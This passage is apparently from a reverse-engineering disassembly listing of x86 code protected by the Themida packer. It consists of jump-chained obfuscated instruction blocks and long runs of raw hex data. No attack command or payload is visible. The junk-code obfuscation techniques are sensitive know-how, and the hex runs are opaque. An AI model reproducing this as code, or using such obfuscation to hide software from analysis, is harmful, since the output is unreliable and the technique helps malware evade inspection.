		dd 3CDAh, 4D5FFD89h, 3B48E9h, 0E99C5100h, 0FFFFA638h, 0E9241487h
		dd 4F5Ch, 286404ACh, 4EC81D8h, 89000000h, 9FB22414h, 0E93BC280h
		dd 0FFFFE6E7h, 8B240C87h, 1C892424h, 243C8B24h,	0A60DE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F88EE:				; CODE XREF: Themida_:004FD5EFj
		sub	ebp, 2B6D187Fh
		jmp	loc_4F69D0
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 77h
		dd 0E97CC914h, 0FFFFAB03h, 5EF2015Ah, 0D556E955h, 5B04FFFFh
		dd 5B2CE828h, 0F2E95966h, 55FFFFB5h, 624D31BDh,	6366E90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F8926:				; CODE XREF: Themida_:004FBBB8j
		pop	ebx
		add	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		xor	al, bl
		pop	ebx
		jmp	loc_4FE08D
; ---------------------------------------------------------------------------

loc_4F893A:				; CODE XREF: Themida_:004F459Dj
		push	ebp
		mov	ebp, esp
		jmp	loc_4FCD5F
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0B6B6824h, 0D3E95DF3h, 8100005Eh, 2C2h, 5A545200h, 4863B850h
		dd 0E94078D1h, 0FFFFC802h, 89241C89h, 69368E3h,	0C8E90000h
		dd 5C000054h, 0A3C1E981h, 98E9382Ch, 3100003Ah,	1C33241Ch
		dd 89665C24h, 50662414h, 0A562E99Ch, 2C89FFFFh,	1A80BD24h
		dd 0E5C15844h, 3EBE5604h, 0E9674B57h, 1CBEh, 5394768h
		dd 2434FF00h, 0E924048Bh, 4B3Eh, 0EEE9FA30h, 66000065h
		dd 5224048Bh, 0C2815A54h, 4, 4EC81h, 1C890000h,	9F685524h
		dd 5D31DC7Dh, 51DDED81h, 0E5C11141h, 2F58107h, 0E94D95E1h
		dd 0FFFFA761h, 53D8005Bh, 0A2E964B3h, 29FFFFF0h, 8E95FFEh
		dd 0ADFFFFF9h, 0D5E9D831h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F8A0B:				; CODE XREF: Themida_:004FBB9Cj
		pop	ebp
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_4FAA96
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 4C18100h, 81000000h, 2C1h, 240C8700h
		dd 824248Bh, 0E99C2404h, 0FFFFA4B4h
; ---------------------------------------------------------------------------

loc_4F8A40:				; CODE XREF: Themida_:004FA775j
		add	esp, 4
		push	edi
		mov	edi, 8AF50B4h
		shr	edi, 1
		jmp	loc_4F558B
; ---------------------------------------------------------------------------
		db 0ACh
		dd 81E28952h, 4C2h, 2EA8100h, 33000000h, 14312414h, 0E9DBE924h
		dd 3C87FFFFh, 24248B24h, 5624048Bh, 0D8BEE954h,	0EDC1FFFFh
		dd 22B2E904h, 0BB660000h, 51662DD4h, 1D1AB966h,	66CB0966h
		dd 0D3F76659h, 0D2BE6656h, 0DEF76636h, 0E0F68166h, 0E6816677h
		dd 816636C1h, 6613B6CEh, 0EE816646h, 2966BEBFh,	81665EF3h
		dd 0E95EF1F3h, 0FFFFAAB5h, 7FE9E289h, 89FFFFEFh, 4C781E7h
		dd 83000000h, 3C8704EFh, 53DCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F8ADE:				; CODE XREF: Themida_:004F83AEj
		push	ecx
		mov	cl, al
		push	edx
		mov	dl, cl
		jmp	loc_4FA682
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 96h
		dd 5620805Eh, 8A0EBBBEh, 10E7E9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F8AFA:				; CODE XREF: Themida_:004F4313j
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_4FE28D
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0AFh
		dd 129EDDDh, 0EE015FFDh, 0FFF103E9h, 6143BAFFh,	0A8E92BCCh
		dd 83FFFFBAh, 770904C4h, 24348B1Ch, 198668h, 6280E900h
		dd 0D0210000h, 18E8C15Ah, 38F8E9h, 40B95100h, 0E975232Ch
		dd 0FD4h, 3012C781h, 0D7010069h, 353DE9h, 48B6600h, 0D826E924h
		dd 8B66FFFFh, 8950240Ch, 95BD55E0h, 0F70A5617h,	0BD5556DDh
		dd 28C112D5h, 0D5F7EDD1h, 1D66F581h, 2EE9CED6h,	0AC00000Fh
		dd 4AE9D830h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F8B93:				; CODE XREF: Themida_:004FF4EAj
		push	ebp
		jmp	loc_4F9116
; ---------------------------------------------------------------------------
		db 68h,	32h, 2Eh
		dd 8F540000h, 0D8E92404h, 66000068h, 51240C8Bh,	4EC81h
		dd 17E90000h, 89FFFFEEh, 29B3241Ch, 6152E9h, 24048F00h
		dd 8924248Bh, 68241Ch, 0E9000004h, 0FFFFD54Eh, 941573BDh
		dd 5DEA0122h, 0E904EC83h, 0FFFFE76Ch, 42474FFh,	24048F5Dh
		dd 6624248Bh, 9C240CFFh, 0FFA2FBE9h, 32FF66FFh,	0FFA2F3E9h
		dd 240C8BFFh, 4C481h, 0C4810000h, 4, 0F6E95251h, 83FFFFD0h
		dd 48704C0h, 9DE95C24h,	54FFFFABh, 4C2815Ah, 51000000h
		dd 7C4489B9h, 6CBE5676h, 314A0B29h, 0E9515EF1h,	0FFFFA2E7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	54CDh
		mov	[esp], esi
		jmp	loc_4F61E1
; ---------------------------------------------------------------------------
aIS		db '^',0
		dw 8100h
		dd 0ED2F62E6h, 44F6811Ch, 0E9042C21h, 0B80h, 0E924248Bh
		dd 2F57h, 0E5E95A66h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F8C77:				; CODE XREF: Themida_:004FA7BFj
		or	ebx, edx
		pop	edx
		shr	ebx, 2
		add	ebx, 6E9D500Bh
		jmp	loc_4F62EC
; ---------------------------------------------------------------------------

loc_4F8C88:				; CODE XREF: Themida_:004F754Ej
		sub	ebp, ebx
		pop	ebx
		jmp	loc_4F390A
; ---------------------------------------------------------------------------
		dd 0D2F7D187h, 0F181D187h, 9280AB20h, 0C8BCB01h, 21E6E924h
		dd 0E9590000h, 0FFFFECA2h, 8245C01h, 244C015Bh,	246C8104h
		dd 3E69D104h, 0D7C5E975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F8CC2:				; CODE XREF: Themida_:004FEAE3j
		or	ebx, 1AD1563Ah
		dec	ebx
		neg	ebx
		push	ebp
		jmp	loc_4FAD54
; ---------------------------------------------------------------------------

loc_4F8CD1:				; CODE XREF: Themida_:004FC450j
		xor	ecx, 0DCD5DADh
		mov	[edi+20h], ecx
		pop	ecx
		shr	dword ptr [edi+20h], 7
		add	dword ptr [edi+20h], 50DA5F73h
		push	edx
		jmp	loc_4FCEB1
; ---------------------------------------------------------------------------
		dd 8002EFC0h, 0C780A5EFh, 0E9F82886h, 0FFFFE36Dh, 4C481h
		dd 1C8B0000h, 4C48124h,	57000000h, 0C781E789h, 4, 4EF81h
		dd 0B8E90000h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F8D1F:				; CODE XREF: Themida_:004FA792j
		pop	edx
		xor	ebx, 614817B8h
		shr	ebx, 2
		xor	ebx, 0E676C95h
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		jmp	loc_4F6A15
; ---------------------------------------------------------------------------
		db 59h,	56h, 89h
		dd 0FDBF57E6h, 815B0C2Ah, 66614DF7h, 4CE78168h,	47001301h
		dd 2449E781h, 0EFC1665Eh, 0E9565207h, 27D5h, 50C32859h
		dd 0D8F6FCB0h, 62E9D0F6h, 0ADFFFFD1h, 0BD55D831h, 26770680h
		dd 0F706EDC1h, 4BBA52DDh, 913B62Fh, 15685AD5h, 89000003h
		dd 4DBE2434h, 31D64ABAh, 0B88BE9F5h, 0C89FFFFh,	4EC8324h
		dd 52243C89h, 2738C68h,	24148B32h, 0FFD8E4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F8DB5:				; CODE XREF: Themida_:004FD988j
		mov	bh, 0CCh
		mov	cl, 6Eh
		sub	cl, 4Eh
		jmp	loc_4FBBB3
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0A5F8E959h, 0C381FFFFh, 2FFD4E04h, 835BDE01h, 348704C6h
		dd 0BD555C24h, 198B6945h, 550B7ABBh, 5DEB315Dh,	0E95AD331h
		dd 0FFFFA104h, 0BB241C89h, 4BE22984h, 7A7AC381h, 814374E6h
		dd 0C8A3FBF3h, 5BDE01C0h, 0DCB95153h, 0C12A510Eh, 0F18107E9h
		dd 29AADBFFh, 79E95B51h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F8E1F:				; CODE XREF: Themida_:004F8F5Ej
		mov	eax, 1E8E6A62h
		sub	edx, eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4

loc_4F8E2D:				; CODE XREF: Themida_:004FB10Dj
					; Themida_:004FD872j
		push	1481h
		mov	[esp], ecx
		push	2B8Ch
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_4FB543
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 5588474Eh, 3932EB81h, 0F3810E14h, 47740E18h,	815BDE01h
		dd 4EEh, 24348700h, 8924248Bh, 9968243Ch, 5F0EE756h, 0EC8C781h
		dd 0EF811001h, 7CED3477h, 30E8EF81h, 0FE89A1FBh, 5EF1295Fh
		dd 2474FF51h, 48F5904h,	24248B24h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFFA04Ch, 1B0FE954h, 1A680000h, 581FC94Eh
		dd 19D9442Dh, 0E9C589B4h, 4453h
; ---------------------------------------------------------------------------

loc_4F8EC0:				; CODE XREF: Themida_:004FF42Dj
		push	esi
		mov	esi, 0C7A560Eh
		jmp	loc_4F7675
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 59CF0100h, 2050E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F8ED9:				; CODE XREF: Themida_:004FBA7Cj
		inc	dl
		xor	dl, 2Ah
		jmp	loc_4FE47F
; ---------------------------------------------------------------------------

loc_4F8EE3:				; CODE XREF: Themida_:004FBBE4j
		mov	ebx, 4
		add	edi, 2730707Ah
		sub	edi, ebx
		sub	edi, 2730707Ah
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		jmp	loc_4FB5F1
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5457240Ch, 4EC835Fh,	0BE243489h, 185A2A0Ch, 4E05E6C1h
		dd 508CE81h, 0E8E963CBh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F8F27:				; CODE XREF: Themida_:004FDD6Cj
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------

loc_4F8F37:				; CODE XREF: Themida_:004FA654j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_4FD427
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 2Fh
		dd 81000015h, 0C13C0AC1h, 6FC98106h, 0E953B04Ah, 0FFFFFB8Dh
; ---------------------------------------------------------------------------

loc_4F8F5C:				; CODE XREF: Themida_:004F7254j
		pop	edx
		push	eax
		jmp	loc_4F8E1F
; ---------------------------------------------------------------------------
		db 66h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_4FE9B5
; ---------------------------------------------------------------------------

loc_4F8F75:				; CODE XREF: Themida_:004F32B0j
		mov	esp, [esp]
		mul	ecx
		push	0E42h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
aQs8n		db 'Q8N',0
		align 2
		dw 1C87h
		dd 0BEE95C24h, 83FFFFE2h, 0C3304C4h, 240C3124h,	8B240C33h
		dd 0F7662424h, 0EC8357E1h, 24248904h, 4240481h,	0E9000000h
		dd 0FFFFBA7Ch, 7904F281h, 0BB5362A3h, 1D7052E9h, 10C2CB81h
		dd 0DBF732B7h, 0FDB8F381h, 0DF29E204h, 50D7295Bh, 867AC4B8h
		dd 32762D73h, 28E9089Ch
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F8FEF:				; CODE XREF: Themida_:004FCF7Ej
		inc	edx
		add	edx, 0C0B8FB27h
		mov	ecx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_4FC65B
; ---------------------------------------------------------------------------
aIH_		db '<$h.',9,0
		dd 24248900h, 6177E9h, 87D9F700h, 1BF57CDh, 0E9710A1Dh
		dd 0FFFFA67Eh, 0E904EDC1h, 0FFFFA7E8h, 158C389h, 3AA0E9DDh
		dd 8B660000h, 0EC832404h, 24148904h, 0C2815A54h, 4, 0FFF906E9h
		dd 2434FFFFh, 0FFAEE9E9h, 8C181FFh, 4942C164h, 0FFFFC181h
		dd 0E981FFFFh, 3832490Eh, 0FFEDF1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F9069:				; CODE XREF: Themida_:004F67CEj
		xor	edi, [esp]
		jmp	loc_4FD829
; ---------------------------------------------------------------------------
		db 89h,	0C6h, 58h
		dd 2C81565Bh, 124h, 42BE900h, 1030000h,	0E92434FFh, 0FFFFFCB1h
		dd 0E987048Dh, 0FFFFE98Ch, 4ED81h, 2C870000h, 0C038E924h
		dd 8359FFFFh, 2C8704C5h, 48B5C24h, 0E3895324h, 4C381h
		dd 0EC810000h, 4, 56240489h, 440CE5BEh,	0B6F6812Eh, 89218C67h
		dd 0B1055EF0h, 1F03794h, 1A48E9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F90DA:				; CODE XREF: Themida_:004F959Bj
		movzx	eax, al
		mov	dx, [esp]
		push	49B9h
		mov	[esp], esi
		jmp	loc_4FD570
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0E902C383h, 0F65h, 647D6856h, 0E95E60BFh,	0FFFFDD8Dh
		dd 4C481h, 0EC830000h, 0A681E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F9116:				; CODE XREF: Themida_:004F8B94j
		push	esp
		pop	ebp
		jmp	loc_4F525E
; ---------------------------------------------------------------------------

loc_4F911D:				; CODE XREF: Themida_:004F6904j
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		jmp	loc_4FB7A9
; ---------------------------------------------------------------------------
		dd 4C48359h, 68E38953h,	6C50h, 0B8240489h, 4, 8158C301h
		dd 4C3h, 241C3300h, 412AE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F9159:				; CODE XREF: Themida_:004F9447j
		pop	esp
		jmp	loc_4FA765
; ---------------------------------------------------------------------------
		db 68h
		dd 147h, 83241C89h, 248904ECh, 24048124h, 4, 4C3815Bh
		dd 81000000h, 4C3h, 0BEB4E900h,	0C330FFFFh, 56C0B60Fh
		dd 0BB53E689h, 4, 3D74EE81h, 0DE017FBBh, 3D74C681h, 1C8B7FBBh
		dd 4C48124h, 81000000h,	2EEh, 2BBD6800h, 0C890000h, 81E18924h
		dd 4C1h, 4B85000h, 29000000h, 0C8758C1h, 0DF1E924h, 0AC050000h
		dd 1739418h, 18AC2DD8h,	0A2E97394h, 8BFFFFCBh, 0C481240Ch
		dd 4, 0D1E95051h, 50000032h, 3572B8B8h,	58C10145h, 240C875Dh
		dd 240CFE5Ch, 9CEAE99Ch, 8156FFFFh, 0C642434h, 1C8B16F9h
		dd 4C48124h, 81000000h,	0F90C64F3h, 0EB835E16h,	0FDF381FFh
		dd 0F767477Fh, 0EB88E9DBh, 0E189FFFFh, 72B95156h, 0F70AC616h
		dd 684149D1h, 3F72h, 0BD242C89h, 1FF6266Dh, 81DDF745h
		dd 7B3DA3C5h, 4E5C12Eh,	0FFAE0CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F925D:				; CODE XREF: Themida_:004F6CEEj
		pop	ebp
		jmp	loc_4FD678
; ---------------------------------------------------------------------------
		db 81h
		dd 0CD2C11C6h, 7E6C163h, 3CA9EE81h, 0D6F7571Ch,	0FFEC8CE9h
		dd 5DE068FFh, 51E90000h, 0F6FFFFEAh, 9F41E9D0h,	0C681FFFFh
		dd 1F49ED82h, 38E9F301h, 6800000Ch, 51AF4037h, 0FFF357E9h
		dd 0A5E953FFh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F92A7:				; CODE XREF: Themida_:004FE628j
		sub	ebp, 2FDE0E5Eh
		pop	esi
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_4FA7F9
		push	dword ptr [edi+1Ch]
		push	edx
		mov	edx, 3690245Ch
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	40526222h
		pop	ecx
		jmp	loc_4FE2A4
; ---------------------------------------------------------------------------
		dd 0E980F100h, 0F1E980FDh, 0FFD67AE9h, 6404ACFFh, 33E97204h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F92FF:				; CODE XREF: Themida_:004F3A30j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_4FAAD0
; ---------------------------------------------------------------------------

loc_4F9308:				; CODE XREF: Themida_:004FCC33j
		pop	dx
		jmp	loc_4F6E7F
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048B66h, 5C476851h, 9BE90000h, 83FFFFDBh, 3C8704C7h
		dd 0EB685C24h, 89000010h, 14E9240Ch, 8100000Ah,	0BE85C6F3h
		dd 0DD54E9E2h, 0E220FFFFh, 5D9AE9h, 6DBB5300h, 0C13C1878h
		dd 0F74306E3h, 81DBF7D3h, 153332CBh, 0DAF38141h, 147B20Fh
		dd 0E6C15BDEh, 0D9EE8106h, 0D171D479h, 79C681E6h, 817000F4h
		dd 1C38EFC1h, 2725E92Dh, 77FF0000h, 9B6EE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F9386:				; CODE XREF: Themida_:004F5ABBj
		push	dword ptr [esp]
		jmp	loc_4FD8EF
; ---------------------------------------------------------------------------
aSs		db 'S/',0
		align 4

loc_4F9394:				; CODE XREF: Themida_:004F438Aj
		push	2A54h
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebx
		push	esi
		mov	esi, 4B6776EAh
		mov	ebx, esi
		jmp	loc_4F8320
; ---------------------------------------------------------------------------

loc_4F93AC:				; CODE XREF: Themida_:004FB01Aj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_4F9CF4
; ---------------------------------------------------------------------------
		db 66h
		dd 0B468F9F7h, 0E900000Ch, 1F58h, 9B26E95Bh, 2C89FFFFh
		dd 17B85024h, 8326BB76h, 4048FFC0h, 0ADEB4605h,	2D38E956h
		dd 0DBF60000h, 51F6F380h, 0C580E9B5h, 10DCE938h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F93F6:				; CODE XREF: Themida_:004FCB83j
		pop	edi
		pop	eax
		sub	esp, 4
		jmp	loc_4FE018
; ---------------------------------------------------------------------------

loc_4F9400:				; CODE XREF: Themida_:004F80A4j
		mov	[esp], edi
		push	eax
		mov	eax, 62857D8Eh
		push	7D0h
		mov	[esp], esi
		mov	esi, 353E4B7Dh
		jmp	loc_4FAB30
; ---------------------------------------------------------------------------
		db 0F6h
		dd 66012454h, 66C5FE59h, 51535053h, 40B745B1h, 5259CF00h
		dd 0FFD8BEE9h, 14402DFFh, 0C38923F2h, 0E9D30158h, 0FFFFEEBCh
; ---------------------------------------------------------------------------

loc_4F9444:				; CODE XREF: Themida_:004FA224j
		xor	ecx, [esp]
		jmp	loc_4F9159
; ---------------------------------------------------------------------------
		dd 2FCEF181h, 0C829C73Fh, 41F1E959h, 0D0890000h, 0FFD3E95Ah
		dd 0E630FFFFh, 403FE9h,	0EC815900h, 4, 0BF243C89h, 44003AC6h
		dd 0FFF49EE9h, 4C381FFh, 0E9000000h, 0FFFFB365h, 0C7CBE95Ah
		dd 489FFFFh, 0E9585424h, 102Ah,	592434FFh, 404C483h, 2CF8283Ah
		dd 0B7B6523Ah, 0FFC191E9h, 0C6815EFFh, 0B41ABC5Ah, 2C41BE56h
		dd 0C68155F3h, 0BED5F46Fh, 73E9BB53h, 0D8010CB0h, 2AB5E95Bh
		dd 665C0000h, 66C8B60Fh, 66175E68h, 0E9240C89h,	0FFFF9A14h
		dd 4EC81h, 26E90000h, 5B000017h, 0EB81D3F7h, 0A5DAA11Bh
		dd 815BDD89h, 0B57D63EEh, 81EE016Dh, 0B57D63C6h, 3933E96Dh
		dd 14890000h, 815A5424h, 4C2h, 0BF575300h, 2E8E584Dh, 27D8E781h
		dd 0DFF77124h, 41BEC781h, 0F7812599h, 6C172E82h, 0FFD090E9h
		dd 243489FFh, 0B3240481h, 0E9305A30h, 44EBh
; ---------------------------------------------------------------------------

loc_4F9544:				; CODE XREF: Themida_:004FA557j
		pop	edx
		jmp	loc_4FDAC1
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 421Dh, 4C781h, 52550000h, 2BAh, 5AD58900h, 38FC781h
		dd 62E90426h, 0E9FFFFF0h, 0FFFF9984h, 66C72966h, 66476658h
		dd 0EFC1664Fh, 0EF816602h, 6BE9FCACh
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F9587:				; CODE XREF: Themida_:004F6632j
		mov	ch, 0CBh
		add	bl, 0D1h
		add	bl, ch
		sub	bl, 0D1h
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_4F90DA
; ---------------------------------------------------------------------------

loc_4F95A0:				; CODE XREF: Themida_:004FEB5Cj
		add	esp, 4
		jmp	loc_4F5F08
; ---------------------------------------------------------------------------

loc_4F95AB:				; CODE XREF: Themida_:004FDD09j
		add	ebx, ebp
		pop	ebp
		jmp	loc_4FDCA9
; ---------------------------------------------------------------------------

loc_4F95B3:				; CODE XREF: Themida_:004F8362j
		pop	cx
		sub	bl, 9Ch
		add	al, bl
		jmp	loc_4F8739
; ---------------------------------------------------------------------------
		db 33h
		dd 0D8E9241Ch, 0F7000049h, 87D787D2h, 48B243Ch,	0FD8E924h
		dd 0D7F70000h, 52ECE9h,	39ED8100h, 89FCDAAAh, 0FB315DEFh
		dd 5BDA015Fh, 352FE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F95F2:				; CODE XREF: Themida_:004FC4FFj
		push	ecx
		mov	ch, 92h
		dec	ch
		shl	ch, 3
		not	ch
		add	ch, 74h
		push	edx
		mov	dl, ch
		mov	bl, dl
		pop	edx
		pop	ecx
		push	edx
		mov	dh, bl
		mov	ah, dh
		pop	edx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_4F84CB
; ---------------------------------------------------------------------------
		dd 51E38953h, 0FFD9B9E9h, 243C87FFh, 5A54525Ch,	4C281h
		dd 53570000h, 4BBh, 0EF6AE900h,	3359FFFFh, 5FE9243Ch, 81000003h
		dd 82592FC6h, 24048B24h, 4C481h, 0F0010000h, 6E2D2D5Eh
		dd 0D8290686h, 1444BB53h, 0E9432B68h, 78Ch, 24048B66h
		dd 5A3168h, 0E9DEE900h,	8868FFFFh, 8900006Eh, 0BB53240Ch
		dd 24h,	0AEE9D989h, 0B5000002h,	22E58016h, 0FEFBE580h
		dd 0A5C580CDh, 0E959E808h, 18F5h
; ---------------------------------------------------------------------------

loc_4F96A8:				; CODE XREF: Themida_:004FAD59j
		shl	ebp, 3
		xchg	edi, ebp
		not	edi
		push	ebp
		push	edi
		jmp	loc_4F53CF
; ---------------------------------------------------------------------------
		dw 885Bh
		dd 0C8B870Ch, 16F06824h, 2C890000h, 81E58924h, 4C5h, 1605E900h
		dd 1DE90000h, 54FFFF98h, 4C2815Ah, 83000000h, 2BE904C2h
		dd 0BAFFFFC1h, 4, 55AD001h, 2, 5C240487h, 24048B66h, 6C3F68h
		dd 24148900h, 57ECE9h, 0D831AD00h, 17685756h, 5F04816Dh
		dd 0DBC17968h, 24348B5Bh, 4C481h, 0C6810000h, 2C0A1516h
		dd 51E9FE01h, 81000017h, 4C4h, 53E95100h, 45000000h, 0FFC72FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F9741:				; CODE XREF: Themida_:004F548Bj
		add	esp, 4
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ebp, 8
		sub	ebp, offset byte_44FF2B
		and	eax, ebp
		jmp	loc_4F8669
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 1C8B5424h, 4C48124h,	55000000h, 576609BDh, 0DDF74558h
		dd 8102E5C1h, 1F1DC9C5h, 81EDD104h, 9F3D34C5h, 0B785E9AEh
		dd 0E189FFFFh, 4BB53h, 0FE90000h, 31FFFFA6h, 0C3E95EF2h
		dd 8F000034h, 0FF5C2404h, 34FF2434h, 4451E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F97B2:				; CODE XREF: Themida_:004FC468j
		mov	ebp, esp
		push	esi
		mov	esi, 200B40D8h
		not	esi
		push	ecx
		mov	ecx, 398D3734h
		add	ecx, 0DE591B3Eh
		or	esi, ecx
		jmp	loc_4FEB97
; ---------------------------------------------------------------------------
		db 51h
		dd 42474FFh, 24048F59h,	68C80F5Ch, 28A7h, 0E9240489h, 0FFFF970Ch
		dd 6CE9F001h, 68FFFFA3h, 7364h,	89243C89h, 198F68E7h, 1C890000h
		dd 0BA9AE924h, 3487FFFFh, 4977E924h, 248B0000h,	0C896624h
		dd 96DAE924h, 0C183FFFFh, 240C3304h, 33240C31h,	248B240Ch
		dd 278FE924h, 81450000h, 0FFFFFFC5h, 4381E9FFh,	89040000h
		dd 51240C8Bh, 0C1815954h, 4, 0FFE11FE9h, 4EC81FFh, 89000000h
		dd 3BE9241Ch, 83FFFFA7h, 685B04C4h, 1419h, 81243C89h, 246F2404h
		dd 815B5180h, 80246FEBh, 79E95F51h, 40FFFF96h, 6E0DD0F7h
		dd 554F0B33h, 7E7816BDh, 200C050Eh, 0E82923E7h,	0FFC93FE9h
		dd 895658FFh, 4C681E6h,	81000000h, 4EEh, 5BE95600h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F98AB:				; CODE XREF: Themida_:004F7F95j
		pop	ecx
		xor	edx, 1F807398h
		add	edx, 316CD981h
		xor	ecx, edx
		pop	edx
		add	eax, ecx
		pop	ecx
		jmp	loc_4F303B
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 9E680000h, 8900001Ah, 0BA52243Ch, 2,	15AD789h
		dd 2434FFFBh, 4C4835Fh,	31241C33h, 1C33241Ch, 24248B24h
		dd 24048B66h, 22AA68h, 0DA15E900h, 0EC81FFFFh, 4, 89240489h
		dd 405E0h, 42D0000h, 87000000h,	895C2404h, 4BA2414h, 1000000h
		dd 0C875AD1h, 43E95C24h, 5CFFFF9Ah, 0FF95C3E9h,	0D830ACFFh
		dd 8904EC83h, 71B62414h, 2E8EE9h, 2434FF00h, 4E0BE95Bh
		dd 8B660000h, 86E9240Ch, 8100003Bh, 4C1h, 4C18300h, 2474FF51h
		dd 48F5904h, 0E9565C24h, 0FFFF9E88h, 0EC81E689h, 4, 0FFF477E9h
		dd 815B54FFh, 4C3h, 4C38300h, 5C241C87h, 5C24048Fh, 3CBF5753h
		dd 50103631h, 4253E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F9999:				; CODE XREF: Themida_:004F529Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_4FE6D5
; ---------------------------------------------------------------------------
		dw 3C31h
		dd 243C3324h, 2434FF5Ch, 0A159E958h, 0EEC1FFFFh, 8EEC108h
		dd 75FDE681h, 0C6835A67h, 37BD55FFh, 31B4D873h,	0E9565DEEh
		dd 1D30h, 24148B58h, 4C481h, 3C870000h,	24248B24h, 0EC83F1F7h
		dd 24048904h, 0CCCE9h, 9B686600h, 0C896602h, 8015B124h
		dd 0C38026EBh, 67E99Ah,	7680000h, 89000044h, 0BB53242Ch
		dd 19E27330h, 0E27334BDh, 5BDD3119h, 2C8BEF01h,	4C48124h
		dd 83000000h, 3BE904C7h, 0B8FFFFF0h, 1,	0FF244701h, 52582434h
		dd 0FFFC92E9h, 4875FFFh, 0E5CBE924h, 85BBFFFFh,	0BF659551h
		dd 0EF6FE243h, 0FFD7AEE9h, 6A4668FFh, 34890000h, 0DAE95524h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F9A6B:				; CODE XREF: Themida_:004F619Ej
		pop	ecx
		jmp	loc_4F7B66
; ---------------------------------------------------------------------------
		db 28h,	0CBh, 80h
		dd 0EC839AEBh, 240C8904h, 0EC79E953h, 3487FFFFh, 16B9E924h
		dd 0E3C10000h, 3E3C104h, 4551E9h, 240C8900h, 0FF9457E9h
		dd 241C87FFh, 2414895Ch, 0CEFE6FB6h, 13B75366h,	34E9FE00h
		dd 0ACFFFFC9h, 41E6E9h,	5DEE8900h, 1D6FE9h, 80F18600h
		dd 6866EEF1h, 10E9171Ch, 89000037h, 0EC83241Ch,	24248904h
		dd 4240481h, 5B000000h,	0FFD521E9h, 422968FFh, 3C890000h
